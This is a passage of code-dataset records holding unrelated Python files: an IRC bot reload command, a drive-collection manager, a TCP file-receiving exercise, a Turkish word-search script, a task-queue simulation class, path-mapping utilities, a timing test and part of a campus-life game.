module_control(phenny, module, 'teardown')\n module = imp.load_source(name, path)\n phenny.modules[name] = module\n module_control(phenny, module, 'setup')\n\n mtime = os.path.getmtime(module.__file__)\n modified = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(mtime))\n\n phenny.register(module)\n phenny.bind_commands()\n\n phenny.reply('%r (version: %s)' % (module, modified))\nf_reload.name = 'reload'\nf_reload.rule = ('$nick', ['reload'], r'(\\S+)?')\nf_reload.priority = 'low'\nf_reload.thread = False\n\nif __name__ == '__main__':\n print(__doc__.strip())\n","sub_path":"modules/reload.py","file_name":"reload.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"642332175","text":"import os\nimport json\nimport psutil\nfrom .models import Collection, CollectionDrive\n\n\nclass CollectionFactory:\n def __init__(self, db, drives_factory):\n self.db = db\n self.drives = drives_factory\n self.collections = self._load_collections()\n\n def get_collection_by_code(self, code):\n return self.collections[code] if code in self.collections else False\n\n def get_collections(self):\n return self.collections\n\n def init_new_collection(self, code, name):\n path = os.getcwd()\n for drive in self.drives.get_connected_collection_drives():\n if path.startswith(drive.path):\n collection = Collection(code, name)\n collection.drive = drive\n self.db.add(collection)\n self.db.commit()\n return collection\n return False\n\n def _load_collections(self):\n collections = {}\n for collection in self.db.query(Collection).all():\n collections[collection.code] = collection\n\n return collections\n\n\nclass CollectionDriveFactory:\n def __init__(self, db, roots=[]):\n self.roots = roots\n self.db = db\n self.drives = self._load_drives(roots)\n self.connected_drives = self.get_connected_collection_drives()\n\n def initialise_drive(self, name, code):\n drive = self._get_drive_for_path(os.getcwd())\n drive_filename = os.path.join(drive, \".collection\")\n if os.path.isfile(drive_filename):\n raise CollectionDriveAlreadyInitialisedError()\n\n data = {\n \"name\": name,\n \"code\": code\n }\n with open(drive_filename, \"w\") as file:\n json.dump(data, file)\n dbdrive = CollectionDrive(code, name)\n self.db.add(dbdrive)\n self.db.commit()\n\n def _load_drives(self, drives):\n if len(drives) == 0:\n drives = self._get_drives_from_filesystem()\n\n return drives\n\n def _get_drives_from_filesystem(self):\n return [i.mountpoint for i in psutil.disk_partitions()]\n\n def _get_drive_for_path(self, path):\n for drive in self.drives:\n if path.startswith(drive):\n return drive\n return False\n\n def get_connected_collection_drives(self):\n active_drives = {}\n roots = self.roots if len(self.roots) > 0 else \\\n [i.mountpoint for i in psutil.disk_partitions()]\n for point in roots:\n file_name = os.path.join(point, \".collection\")\n if os.path.isfile(file_name):\n with open(file_name, \"r\") as file:\n drive_data = json.load(file)\n active_drives[drive_data['code']] = point\n\n active_collection_drives = []\n\n for drive in self.db.query(CollectionDrive).all():\n if drive.code in active_drives:\n drive.path = active_drives[drive.code]\n active_collection_drives.append(drive)\n else:\n drive.path = \"\"\n self.db.add(drive)\n self.db.commit()\n\n return active_collection_drives\n\n\nclass CollectionDriveAlreadyInitialisedError(Exception):\n pass\n","sub_path":"app/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"53006016","text":"\"\"\"\n1. 使用tcp服务和客户端编程,\n将一个文件从客户端发送到服务端,\n文件类型为图片或者普通文本皆可。\n思路:客户端读取,服务端写入\n\"\"\"\nimport socket\n\n# 创建套接字\nsockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# 绑定地址\nsockfd.bind(('0.0.0.0',8888)) # 此地址可以被其他主机访问\n\n# 设置监听\nsockfd.listen(5)\n\n# 等待处理客户端连接请求\n\nconnfd, addr = sockfd.accept()\nprint(\"Connect from:\", addr)\n\nf = open('w_img.jpg', 'wb')\n\n# 接收内容,写入文件\nwhile True:\n data = connfd.recv(1024) # 接受客户端\n if not data:\n break\n f.write(data)\n\n# 关闭套接字\nf.close()\nconnfd.close()\nsockfd.close()\n","sub_path":"Mr.左/mothon02/代码/pythonNet_io网络编程/day03/exercise_服务端.py","file_name":"exercise_服务端.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"538251422","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 22 04:06:23 2020\n\n@author: Ozgur Kucet\n\n\n** Bir string ve bir text alıcak string textte varsa true yoksa false\n* bir string ve bir text alıcak string textte varsa var ve şurada diyecek\n* ikinci gönderilen parametre 1. parametreden n defa bulunuyorsa bulunduğu \n* yerlerin başlangıç adresini liste halinde geri gönderen fonksiyonu yazınız.\n\n\"\"\"\n\n\n\ndef sembolleriTemizle(tumKelimeler):\n sembolsuzkelimeler = []\n semboller = \"!'@.^#<>+-_{}\\\",[]-=:;*/’)(&\"\n for kelime in tumKelimeler:\n for sembol in semboller:\n if sembol in kelime:\n kelime = kelime.replace(sembol,\"\")\n if(len(kelime)>0):\n sembolsuzkelimeler.append(kelime)\n return sembolsuzkelimeler\n\ndef kelimeKaçkereGeçiyor(kelime,dosyaismi):\n with open(dosyaismi,\"r\") as dosya:\n tümKelimeler = []\n icerik = dosya.read()\n tümKelimeler = icerik.lower().split()\n tümKelimeler = sembolleriTemizle(tümKelimeler)\n sayi = 0\n for i in tümKelimeler:\n if kelime == i:\n sayi+=1\n return sayi\n \ndef kelime_var_mi(kelime,dosyaismi):\n with open(dosyaismi,\"r\") as dosya:\n tümKelimeler = []\n icerik = dosya.read()\n tümKelimeler = icerik.lower().split()\n tümKelimeler = sembolleriTemizle(tümKelimeler)\n \n for i in tümKelimeler:\n if kelime == i:\n return 1\n return 0\n \ndef kelimeninDosyadakiYerleri(kelime,dosyaismi):\n with open(dosyaismi,\"r\") as dosya:\n tümKelimeler = []\n icerik = dosya.read()\n tümKelimeler = icerik.lower().split()\n tümKelimeler = sembolleriTemizle(tümKelimeler)\n GeçtigiYerler = []\n j = 0\n for i in tümKelimeler:\n j+=1\n if kelime == i:\n GeçtigiYerler.append(j)\n return GeçtigiYerler\n\n\n\nkelime = input(\"lütfen bir kelime giriniz...\")\n\nprint(kelime_var_mi(kelime,\"1.txt\"))\nprint(\"kelimeden şukadar var :\",kelimeKaçkereGeçiyor(kelime,\"1.txt\"))\nprint(\"kelimenin geçtiği yerler(kelimenin listedeki indexi+1)yani kelimenin nerede olduğu:\",kelimeninDosyadakiYerleri(kelime,\"1.txt\"))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"2.AlgoritmaSorularıÇözümleri/1.Soru-BirStringVeTextAl/merhaba.py","file_name":"merhaba.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"538758917","text":"# import uuid\n# import logging\n# import collections\n# import numpy as np\n# from sac.envs import applications\n#\n# from baselines.task import *\n# from baselines.buffers import TaskBuffer\n# from baselines.constants import *\n\nimport uuid\nimport logging\nimport collections\nimport numpy as np\nimport applications\n\n# from baselines.task import *\n# from baselines.buffers import TaskBuffer\n# from baselines.constants import *\n\nfrom task import *\nfrom buffers import TaskBuffer\nfrom constants import *\n\n\nlogger = logging.getLogger(__name__)\n\nclass TaskQueue(object):\n\n def __init__(self, app_type=None, max_length=np.inf):\n self.uuid = uuid.uuid4()\n self.max_length = max_length\n self.tasks = collections.OrderedDict()\n self.app_type = app_type\n self.arrival_size_buffer = TaskBuffer(max_size=100)\n self.exploded = 0\n self.length = 0\n self.cpu_needs = 0\n logger.info('Task queue of app. type {} with max length {} is initiallized'.format(app_type, max_length))\n\n def __del__(self):\n # logger.info('Task queue of app. type {} with max length {} is removed'.format(app_type, max_length))\n if len(self.tasks):\n ids = list(self.tasks.keys())\n for id in ids:\n del self.tasks[id]\n del self.arrival_size_buffer\n del self\n\n def task_ready(self, task_id):\n self.tasks[task_id].is_start = True\n logger.debug('task %s ready', task_id)\n\n def remove_task(self, task_id):\n logger.debug('Task %s removed', task_id)\n data_size = self.tasks[task_id].get_data_size()\n self.length -= data_size\n if self.app_type:\n self.cpu_needs -= data_size*applications.get_info(self.app_type)\n else:\n self.cpu_needs -= data_size*applications.get_info(self.tasks[task_id].app_type)\n del self.tasks[task_id]\n\n\n def remove_multiple_tasks(self, task_list):\n for task_id in task_list:\n logger.debug('Task %s removed', task_id)\n data_size = self.tasks[task_id].get_data_size()\n self.length -= data_size\n if self.app_type:\n self.cpu_needs -= data_size*applications.get_info(self.app_type)\n else:\n self.cpu_needs -= data_size*applications.get_info(self.tasks[task_id].app_type)\n del self.tasks[task_id]\n\n\n def abort_task(self, task_id):\n logger.info('Task %s aborted', task_id)\n data_size = self.tasks[task_id].get_data_size()\n self.length -= data_size\n if self.app_type:\n self.cpu_needs -= data_size*applications.get_info(self.app_type)\n else:\n self.cpu_needs -= data_size*applications.get_info(self.tasks[task_id].app_type)\n self.remove_task(task_id)\n\n # task 객체를 받음\n # offloaded_tasks에서 받음. random_task_generation에서도 받음.\n def arrived(self, task, arrival_timestamp):\n task_id = task.get_uuid()\n task_length = task.data_size\n self.arrival_size_buffer.add((arrival_timestamp, task_length))\n if self.get_length() + task_length <= self.max_length:\n self.tasks[task_id] = task\n self.length += task_length\n if self.app_type:\n self.cpu_needs += task_length*applications.get_info(self.app_type)\n else:\n self.cpu_needs += task_length*applications.get_info(self.tasks[task_id].app_type)\n self.exploded = max(0, self.exploded-1)\n return True\n else:\n del task\n self.exploded = min(10, self.exploded+1)\n return False\n # 뭔가 처리를 해줘야함.. arrive 못받았을 때...\n\n # default(type=1)는 그냥 자기 cpu로 처리하는 것, 0이 offload하는 것\n def served(self, resource, type = 1, offload_type=1, silence=True):\n if not silence: print(\"########### compute or offload : inside of task_queue.served ##########\")\n if resource == 0:\n logger.info('No data to be served')\n return\n else:\n task_to_remove = []\n offloaded_tasks = {}\n served = 0\n # application queue 이면서 type=1, (serve by itself) 일 때\n if (self.app_type and type) :\n # resource unit : cycles --> bits\n to_be_served = int(resource/applications.get_info(self.app_type,'workload'))\n # application queue 가 아니거나 type 이 아닐 때\n else:\n # to_be_served unit: bits\n # if not app_type: resource(to_be_served) unit: cycles\n # if not type: resource(to_be_served) unit: bits\n to_be_served = resource\n if not silence: print(\"data size to be offloaded : {}\".format(to_be_served))\n for task_id, task_ob in self.tasks.items():\n task_size = task_ob.data_size\n workload = applications.get_info(task_ob.get_app_type(),\"workload\")\n # if not app_type: task_size unit: bits --> cycles\n if (type and not self.app_type):\n task_size *= workload\n if not silence: print(\"task_size : {}\".format(task_size))\n if to_be_served >= task_size:\n if not silence: print(\"data size can be served >= task_size case\")\n if not type:\n offloaded_tasks[task_id] = task_ob\n task_to_remove.append(task_id)\n to_be_served -= task_size\n served += task_size\n # if not silence: print(\"remained queue_length of type{} : {}\".format(self.app_type, self.length))\n elif to_be_served > 0:\n if not silence: print(\"data size to be offloaded < task_size case\")\n # if this is an application queue\n if self.app_type:\n task_size -= to_be_served\n # offloading\n if not type:\n if offload_type ==1: # partial\n # task_ob data size is adjusted in make_child_task function\n new_task = task_ob.make_child_task(to_be_served)\n # print(\"old_task uuid\\t\", task_id)\n # print(\"new_task uuid\\t\", new_task.get_uuid())\n offloaded_tasks[new_task.get_uuid()] = new_task\n else: # not partial, on/off --> cannot offload\n task_size += to_be_served\n break\n # computation by itself\n else:\n self.tasks[task_id].data_size = task_size\n self.length -= to_be_served\n self.cpu_needs -= to_be_served*applications.get_info(self.app_type)\n # if this is not an application queue\n # if not app_type: task_size unit: bits --> cycles\n else:\n # if not app_type: task_size unit: cycles --> bits\n task_size /= workload\n # if not app_type: to_be_served unit: cycles --> bits\n to_be_served = int(to_be_served/workload)\n task_size -= to_be_served\n self.tasks[task_id].data_size = task_size\n self.length -= to_be_served\n self.cpu_needs -= to_be_served*workload\n # if not app_type: to_be_served unit: bit --> cycles\n to_be_served *= workload\n\n served += to_be_served\n # if not silence: print(\"remained queue_length of type{} : {}\".format(self.app_type, self.length))\n to_be_served = 0\n else:\n if not silence and not type : print('All tasks are done in task_queue.served(type=0) - offloaded')\n if not silence and type : print('All tasks are done in task_queue.served(type=1) - computed')\n break\n if type and self.app_type:\n resource = served * applications.get_info(self.app_type,'workload')\n else:\n resource = served\n self.remove_multiple_tasks(task_to_remove)\n self.get_length()\n if not silence: print(\"########### task_queue.served ends ###########\")\n return resource, offloaded_tasks\n\n def mean_arrival(self, t, interval=10, scale=1):\n result = 0\n for time, data_size in self.arrival_size_buffer.get_buffer():\n if time > t - interval:\n result += data_size\n else:\n break\n return result/min(t+1,interval)/scale\n\n def last_arrival(self, t, scale=1):\n last_data = self.arrival_size_buffer.get_last_obj()\n if last_data:\n time, data_size =last_data\n if time==t:\n return data_size/scale\n return 0\n\n def get_uuid(self):\n return self.uuid.hex\n\n def get_length(self, scale=1):\n return self.length/scale\n # length = 0\n # for task in self.tasks.values():\n # length += task.data_size\n # if length != self.length:\n # print(\"length\", length)\n # print(\"self.length\", self.length)\n # import pdb; pdb.set_trace()\n # return length/scale\n def get_cpu_needs(self, scale=1):\n return self.cpu_needs/scale\n # length = 0\n # if self.app_type:\n # for task in self.tasks.values():\n # length += task.data_size*applications.get_info(self.app_type)\n # else:\n # for task in self.tasks.values():\n # length += task.data_size*applications.get_info(task.app_type)\n # if length != self.cpu_needs:\n # print(\"length\", length)\n # print(\"self.length\", self.cpu_needs)\n # return length/scale\n\n def get_status(self):\n return self.tasks, self.exploded\n\n def get_tasks(self):\n return self.tasks\n\n def get_max(self, scale=1):\n return self.max_length/scale\n\n def is_exploded(self):\n return self.exploded\n","sub_path":"MECS_gym/task_queue.py","file_name":"task_queue.py","file_ext":"py","file_size_in_byte":10411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"191683977","text":"import os\nimport platform\nimport re\nfrom os.path import expanduser\n\nclass DirmapError(Exception):pass\n\nlinux_to_window = dict()\nlinux_to_window[\"/mnt/studio\"] = \"O:/studio\"\nlinux_to_window[\"/mnt/Q\"] = \"Q:\"\nlinux_to_window[\"/mnt/R\"] = \"R:\"\nlinux_to_window[\"/mnt/T\"] = \"T:\"\nlinux_to_window[\"/home/personal_folders\"] = \"Y:/Personal Folders\"\nlinux_to_window[\"/mnt/Y\"] = \"Y:\"\nlinux_to_window[\"/mnt/Z\"]= \"Z:\"\nlinux_to_window[\"/var/tmp\"] = \"C:/tmp\"\nlinux_to_window[\"/tmp\"] = \"C:/tmp\"\n\nwindow_to_linux = dict()\nfor i in linux_to_window:\n window_to_linux[linux_to_window[i]] = i\n\nPREP = re.compile(r\"[\\\\|/]+\")\n\ndef getMachineName():\n return platform.node()\n\ndef getOs():\n import sys\n pos = platform.system()\n if pos == 'Microsoft':\n if sys.platform == 'win32':\n return 'Windows'\n return pos\n\ndef _get_dirmap(os_name):\n if os_name == 'windows':\n return linux_to_window\n else:\n return window_to_linux\n\n\ndef get_home_user():\n ex = expanduser(\"~\")\n if getOs() != 'Windows':\n return ex\n ddd = ex.replace(\"C:/Users\",linux_to_window[\"/home/personal_folders\"])\n if os.path.exists(ddd):\n return ddd\n return ex\n\ndef dirmap(path, os_name=None):\n \"\"\"\n Find the mapping for a path. This will run through all directory mappings\n looking for a path match. If found, returns the remapped path.\n @param path The path to remap\n @param os_name If specified, remap the path to the specified OS. If None, the\n current OS is used. Valid values are \"linux\" and \"windows\"\n @return Remapped path string.\n \"\"\"\n\n if os_name is None:\n os_name = platform.system().lower()\n\n # get the right dictionary\n dirmap = _get_dirmap(os_name)\n\n for dp in dirmap:\n if path.startswith(dp):\n return path.replace(dp, dirmap[dp])\n return path\n\n\ndef uname():\n return platform.uname()\n\ndef getPythonVersion():\n return platform.python_version_tuple()\n\ndef conform_slashes(path):\n \"\"\"\n \"\"\"\n conformed_path = re.sub(PREP, \"/\", os.path.normpath(path))\n return conformed_path\n\ndef conform_path(path, os_name=None):\n \"\"\"\n same as conform path from path_utils with cheching for file exists\n\n Replace all occurrences of backslashes with a forward slash. This will also normalize the\n path, and collapses redundant separators.\n @param path The path to conform\n \"\"\"\n if path in [\"\",None]:\n return \"\"\n #legacy support of os.name being used instead of platform\n if os_name == \"nt\":\n os_name = \"windows\"\n\n elif os_name == \"posix\":\n os_name = \"linux\"\n\n conformed_path = conform_slashes(path)\n conformed_path = os.path.expandvars(conformed_path)\n conformed_path = dirmap(conformed_path, os_name=os_name)\n return conformed_path","sub_path":"dsk/base/utils/platform_utils.py","file_name":"platform_utils.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"57809061","text":"#!/usr/bin/env python\n#!/usr/bin/env python\nimport os, sys\nimport functools\nimport time\n\nprint(\"\"\"this file is evaluate python set vs fixed size list hashtable\"\"\")\n\naccess_time = 10000 **2\n\nfor size in range(1000, 1000*10, 1000):\n print(\"size\", size)\n\n print(\"init\")\n list_1d = [j for j in range(size)]\n tuple_1d = tuple([j for j in range(size)])\n\n start = time.time()\n for i in range(size):\n a = tuple_1d[i] == 3\n end = time.time()\n print(\"random access tuple\", end - start)\n\n start = time.time()\n for i in range(size):\n a = list_1d[i] == 3\n end = time.time()\n print(\"random access list\", end - start)\n\n start = time.time()\n for item in tuple_1d:\n a = item == 3\n end = time.time()\n print(\"traversing tuple `in`\", end - start)\n\n start = time.time()\n for item in list_1d:\n a = item == 3\n end = time.time()\n print(\"traversing list `in`\", end - start)\n\n\n\n","sub_path":"python/python-1d-list-tuple.py","file_name":"python-1d-list-tuple.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"56513956","text":"# integrates all the modes and classes:\r\n # four modes: Login, Dorm, Schedule, Map\r\n # classes: Hero, Course, Event, Location\r\n\r\n# modes not yet completely separated into files\r\n # this file still has Login and Schedule\r\n\r\n# loosely adapted from https://www.cs.cmu.edu/~112/notes/notes-animations-part2.html#subclassingModalApp\r\n\r\nfrom cmu_112_graphics import *\r\nfrom _map import *\r\nfrom dorm import *\r\nfrom schedule import *\r\n\r\nclass LoginMode(Mode):\r\n\r\n def appStarted(mode):\r\n mode.buttonW, mode.buttonH = mode.width/4, mode.height/10\r\n mode.space = mode.height/8\r\n\r\n def redrawAll(mode, canvas):\r\n canvas.create_text(mode.width/2, 100, text = \"Login Screen\",\r\n font = \"Arial 26 bold\")\r\n canvas.create_rectangle(mode.width/2 - mode.buttonW/2, mode.height/2,\r\n mode.width/2 + mode.buttonW/2, mode.height/2 + mode.buttonH)\r\n canvas.create_rectangle(mode.width/2 - mode.buttonW/2, \r\n mode.height/2 + mode.space,\r\n mode.width/2 + mode.buttonW/2, \r\n mode.height/2 + mode.space + mode.buttonH)\r\n canvas.create_rectangle(mode.width/2 - mode.buttonW/2, \r\n mode.height/2 + mode.space*2,\r\n mode.width/2 + mode.buttonW/2, \r\n mode.height/2 + mode.space*2 + mode.buttonH)\r\n canvas.create_text(mode.width/2, mode.height/2 + mode.buttonH/2,\r\n text = \"New Game\", font = \"Arial 20 bold\")\r\n canvas.create_text(mode.width/2, mode.height/2 + mode.buttonH/2 + mode.space,\r\n text = \"Load Game\", font = \"Arial 20 bold\")\r\n canvas.create_text(mode.width/2, mode.height/2 + mode.buttonH/2 + mode.space*2,\r\n text = \"Quit Game\", font = \"Arial 20 bold\")\r\n\r\n def mousePressed(mode, event):\r\n if ((event.x > mode.width/2 - mode.buttonW/2) and \r\n (event.x < mode.width/2 + mode.buttonW/2) and\r\n (event.y > mode.height/2) and\r\n (event.y < mode.height/2 + mode.buttonH)):\r\n mode.app.hero.location = mode.app.DON\r\n mode.app.hero.coordinates = mode.app.DON.coordinates\r\n mode.app.setActiveMode(mode.app.dormMode)\r\n elif ((mode.width/2 - mode.buttonW/2 < event.x < mode.width/2 + mode.buttonW/2) and\r\n (mode.height/2 + mode.space*2 < event.y < mode.height/2 + mode.space*2 + mode.buttonH)):\r\n mode.app.quit()\r\n\r\nclass MyModalApp(ModalApp):\r\n def appStarted(app):\r\n app.loginMode = LoginMode()\r\n app.dormMode = DormMode()\r\n app.scheMode = ScheMode()\r\n app.mapMode = MapMode()\r\n app.setActiveMode(app.loginMode)\r\n \r\n app.timerDelay = 4\r\n app.clockDelay = 200\r\n app.month = 1 # Jan\r\n app.date = 12 # 12th\r\n app.day = 7 # Sun\r\n app.monthWrapArounds = {1: 31, 2: 29, 3: 31, 4: 30, 5:31}\r\n (app.hours, app.mins) = (22, 00) # 10:00 pm\r\n\r\n app.windowBorderX = app.width / 5\r\n app.windowBorderY = app.width / 8\r\n app.statusBarLength = app.width / 5\r\n app.statusBarWidth = app.height / 25\r\n app.buttonLength = app.width / 9\r\n app.buttonWidth = app.height / 15\r\n\r\n app.hero = Hero(75, 75, 75, 75, 75, None, None, (app.width/1125))\r\n app.events = dict()\r\n app.createGraph()\r\n app.createEvents()\r\n\r\n def clockTicked(app):\r\n app.setTimeFlowSpeed()\r\n app.mins += (app.timerDelay/app.clockDelay)\r\n # wrap around hours:\r\n if ((app.mins // 60) == 1):\r\n app.mins -= 60\r\n app.hours += 1\r\n # wrap around dates and days:\r\n if (app.hours == 24):\r\n app.hours -= 24\r\n app.date += 1\r\n app.day += 1\r\n if (app.day == 8): app.day = 1\r\n # wrap around months:\r\n (app.month, app.date) = app.wrapAroundMonth(app.month, app.date)\r\n\r\n def setTimeFlowSpeed(app):\r\n if (app._activeMode == app.scheMode) and (app.hero.moving == False):\r\n app.clockDelay = 400\r\n elif (app._activeMode == app.scheMode) and (app.hero.moving):\r\n app.clockDelay = float(\"inf\")\r\n elif (app._activeMode == app.dormMode) and (app.hero.sleeping):\r\n app.clockDelay = 2\r\n elif (app.hero.inActivity):\r\n app.clockDelay = 20\r\n elif (app._activeMode != app.loginMode):\r\n app.clockDelay = 200\r\n\r\n def wrapAroundMonth(app, month, date):\r\n endOfMonth = app.monthWrapArounds[month]\r\n if (date > endOfMonth):\r\n month += 1\r\n date -= endOfMonth\r\n return (month, date)\r\n\r\n def getDisplayedDate(app):\r\n months = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \r\n \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Dec\"]\r\n days = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\r\n return f\"{months[app.month-1]} {app.date}, {days[app.day-1]}\"\r\n\r\n def getDisplayedTime(app, time):\r\n (hours, mins) = time\r\n hour = 12 if (12 <= hours < 13) else int(hours % 12)\r\n period = \"am\" if (hours < 12) else \"pm\"\r\n minute = str(int(mins))\r\n if (len(minute) < 2): minute = \"0\" + minute\r\n return f\"{hour}:{minute}{period}\"\r\n \r\n def getDisplayedDateAndTime(app):\r\n return f\"{app.getDisplayedDate()}, {app.getDisplayedTime((app.hours, app.mins))}\"\r\n\r\n def getTimeFloat(app, time):\r\n (hours, mins) = time\r\n return (hours + mins/60)\r\n\r\n def getTimeTuple(app, time):\r\n (hours, mins) = (time//1, time%1)\r\n return (int(hours), mins*60)\r\n\r\n def drawDateAndTime(app, canvas):\r\n canvas.create_rectangle(app.width/2 - app.width/13, 0,\r\n app.width/2 + app.width/13, app.height/28,\r\n fill = \"white\", width = 0)\r\n canvas.create_text(app.width/2, app.height/50, font = \"Arial 12 bold\",\r\n text = app.getDisplayedDateAndTime())\r\n\r\n def adjustHeroStats(app):\r\n if (app.hero.sleeping):\r\n # things slow down when sleeping\r\n app.hero.sleepy -= 1.0 / app.clockDelay\r\n app.hero.hunger += 0.3 / app.clockDelay\r\n app.hero.stress -= 0.1 / app.clockDelay\r\n else:\r\n app.hero.hunger += 1.32 / app.clockDelay\r\n app.hero.stress -= 1.0 / app.clockDelay\r\n app.hero.health += 0.1 / app.clockDelay\r\n if (app.hero.eating): app.hero.hunger -= 25.0 / app.clockDelay\r\n elif (app.hero.studying):\r\n # will be adjusted according to hero.intelligence\r\n app.hero.stress += 2.0 / app.clockDelay\r\n elif (app.hero.socializing):\r\n # will be adjusted according to hero.social\r\n app.hero.stress -= 5.0 / app.clockDelay\r\n elif (app.hero.exercising):\r\n # will be adjusted according to hero.energy\r\n app.hero.stress -= 5.0 / app.clockDelay\r\n app.hero.sleepy += 0.33 / app.clockDelay\r\n # negative impacts on health:\r\n if (app.hero.sleepy >= 100): app.hero.health -= 0.2 / app.clockDelay\r\n if (app.hero.hunger >= 100): app.hero.health -= 0.5 / app.clockDelay\r\n if (app.hero.stress >= 100): app.hero.health -= 0.3 / app.clockDelay\r\n # keep stats in range:\r\n if (app.hero.sleepy < 0): app.hero.sleepy = 0\r\n elif (app.hero.sleepy > 100): app.hero.sleepy = 100\r\n if (app.hero.hunger < 0): app.hero.hunger = 0\r\n elif (app.hero.hunger > 100): app.hero.hunger = 100\r\n if (app.hero.stress < 0): app.hero.stress = 0\r\n elif (app.hero.stress > 100): app.hero.stress = 100\r\n if (app.hero.health < 0): app.hero.health = 0\r\n elif (app.hero.health > 100): app.hero.health = 100\r\n\r\n def adjustCourseAchievement(app):\r\n if app.hero.studying:\r\n courseStudied = app.dormMode.courseStudied\r\n courseStudied.achieve += 1.0 / app.clockDelay\r\n if (courseStudied.achieve > 100): courseStudied.achieve = 100\r\n elif app.hero.inClass:\r\n courseAttended = app.mapMode.courseAttended\r\n courseAttended.achieve += 2.0 / app.clockDelay\r\n if (courseAttended.achieve > 100): courseAttended.achieve = 100\r\n else:\r\n for course in app.courses:\r\n course.achieve -= 0.05 / app.clockDelay\r\n if (course.achieve < 0): course.achieve = 0\r\n app.hero.perfor = int(sum([course.achieve for course in app.courses]) / len(app.courses))\r\n\r\n def createGraph(app):\r\n # hardcode the locations -> graph\r\n app.createBuildings()\r\n app.graph = {app.UC: {app.WH: app.UC.getDistance(app.WH),\r\n app.PCA: app.UC.getDistance(app.PCA), \r\n app.CUT: app.UC.getDistance(app.CUT),\r\n app.TC: app.UC.getDistance(app.TC),\r\n app.WWG: app.UC.getDistance(app.WWG),\r\n app.GS: app.UC.getDistance(app.GS)},\r\n app.PCA: {app.UC: app.PCA.getDistance(app.UC), \r\n app.CUT: app.PCA.getDistance(app.CUT),\r\n app.GHC: app.PCA.getDistance(app.GHC),\r\n app.WH: app.PCA.getDistance(app.WH)},\r\n app.CUT: {app.UC: app.CUT.getDistance(app.UC),\r\n app.PCA: app.CUT.getDistance(app.PCA),\r\n app.FE: app.CUT.getDistance(app.FE),\r\n app.TC: app.CUT.getDistance(app.TC),\r\n app.FAL: app.CUT.getDistance(app.FAL)},\r\n app.GHC: {app.PCA: app.GHC.getDistance(app.PCA),\r\n app.NSH: app.GHC.getDistance(app.NSH),\r\n app.TQ: app.GHC.getDistance(app.TQ)},\r\n app.DH: {app.FE: app.DH.getDistance(app.FE),\r\n app.MAL: app.DH.getDistance(app.MAL),\r\n app.WEH: app.DH.getDistance(app.WEH)},\r\n app.TC: {app.UC: app.TC.getDistance(app.UC),\r\n app.CUT: app.TC.getDistance(app.CUT),\r\n app.FAL: app.TC.getDistance(app.FAL),\r\n app.MM: app.TC.getDistance(app.MM),\r\n app.WWG: app.TC.getDistance(app.WWG)},\r\n app.DON: {app.MM: app.DON.getDistance(app.MM),\r\n app.GYM: app.DON.getDistance(app.GYM),\r\n app.HIL: app.DON.getDistance(app.HIL),\r\n app.RES: app.DON.getDistance(app.RES),\r\n app.SF: app.DON.getDistance(app.SF)},\r\n app.BH: {app.PH: app.BH.getDistance(app.PH),\r\n app.MAL: app.BH.getDistance(app.MAL),\r\n app.FE: app.BH.getDistance(app.FE),\r\n app.HL: app.BH.getDistance(app.HL)},\r\n app.PH: {app.HH: app.PH.getDistance(app.HH),\r\n app.MAL: app.PH.getDistance(app.MAL),\r\n app.BH: app.PH.getDistance(app.BH),\r\n app.WEH: app.PH.getDistance(app.WEH)},\r\n app.HL: {app.BH: app.HL.getDistance(app.BH),\r\n app.FE: app.HL.getDistance(app.FE),\r\n app.CFA: app.HL.getDistance(app.CFA)},\r\n app.NSH: {app.GHC: app.NSH.getDistance(app.GHC),\r\n app.WEH: app.NSH.getDistance(app.WEH)},\r\n app.WEH: {app.PH: app.WEH.getDistance(app.PH),\r\n app.MAL: app.WEH.getDistance(app.MAL),\r\n app.DH: app.WEH.getDistance(app.DH),\r\n app.NSH: app.WEH.getDistance(app.NSH),\r\n app.HH: app.WEH.getDistance(app.HH)},\r\n app.WWG: {app.UC: app.WWG.getDistance(app.UC),\r\n app.TC: app.WWG.getDistance(app.TC),\r\n app.MM: app.WWG.getDistance(app.MM),\r\n app.RES: app.WWG.getDistance(app.RES),\r\n app.GS: app.WWG.getDistance(app.GS)},\r\n app.RES: {app.GS: app.RES.getDistance(app.GS),\r\n app.SF: app.RES.getDistance(app.SF),\r\n app.HIL: app.RES.getDistance(app.HIL),\r\n app.DON: app.RES.getDistance(app.DON),\r\n app.WWG: app.RES.getDistance(app.WWG)},\r\n app.MM: {app.DON: app.MM.getDistance(app.DON),\r\n app.DON: app.MM.getDistance(app.WWG),\r\n app.TC: app.MM.getDistance(app.TC),\r\n app.FAL: app.MM.getDistance(app.FAL),\r\n app.POS: app.MM.getDistance(app.POS),\r\n app.GYM: app.MM.getDistance(app.GYM)},\r\n app.GS: {app.UC: app.GS.getDistance(app.UC),\r\n app.WWG: app.GS.getDistance(app.WWG),\r\n app.RES: app.GS.getDistance(app.RES),\r\n app.SF: app.GS.getDistance(app.SF)},\r\n app.SF: {app.GS: app.SF.getDistance(app.GS),\r\n app.RES: app.SF.getDistance(app.RES),\r\n app.HIL: app.SF.getDistance(app.HIL),\r\n app.DON: app.SF.getDistance(app.DON)},\r\n app.HIL: {app.SF: app.HIL.getDistance(app.SF),\r\n 